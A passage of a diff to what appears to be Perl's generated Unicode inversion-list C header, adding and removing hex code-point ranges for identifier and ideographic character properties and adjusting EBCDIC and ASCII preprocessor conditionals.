+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA62C,
+	0xA640,
+	0xA670,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA900,
+	0xA92E,
+	0xA930,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9C1,
+	0xA9CF,
+	0xA9DA,
+	0xA9E0,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
 	0xFF10,
 	0xFF1A,
 	0xFF21,
-	0xFF27,
+	0xFF3B,
+	0xFF3F,
+	0xFF40,
 	0xFF41,
-	0xFF47
+	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102E1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE7,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
+	0x11047,
+	0x11066,
+	0x11070,
+	0x1107F,
+	0x110BB,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11174,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111D0,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1144B,
+	0x11450,
+	0x1145A,
+	0x11480,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x11641,
+	0x11644,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
+	0x118A0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C41,
+	0x11C50,
+	0x11C5A,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF5,
+	0x16B00,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0100,
+	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* EBCDIC 037 */
 
-#endif	/* EBCDIC 1047 */
+static const UV PL_IDEO_invlist[] = { /* for all charsets */
+	33,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3006,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303B,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B170,
+	0x1B2FC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
 
-#if 'A' == 193 /* EBCDIC 037 */ \
-     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
-     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
-     && '$' == 91 && '@' == 124 && '`' == 121
+static const UV PL_IDEOGRAPHICSYMBOLS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16FE0,
+	0x17000
+};
 
-#if defined(PERL_IN_PERL_C)
+#   if 'A' == 65 /* ASCII/Latin1 */
 
-static const UV ASCII_invlist[] = { /* for EBCDIC 037 */
-	56,	/* Number of elements */
+static const UV PL_IDS_invlist[] = { /* for ASCII/Latin1 */
+	1171,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
+	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x4,
-	0x5,
-	0x6,
-	0x7,
-	0x8,
-	0xB,
-	0x14,
-	0x16,
-	0x17,
-	0x18,
-	0x1A,
-	0x1C,
-	0x20,
-	0x25,
-	0x28,
-	0x2D,
-	0x30,
-	0x32,
-	0x33,
-	0x37,
-	0x38,
-	0x3C,
-	0x3E,
-	0x3F,
 	0x41,
-	0x4B,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xB5,
+	0xB6,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE40,
+	0xE47,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1AA7,
+	0x1AA8,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309B,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
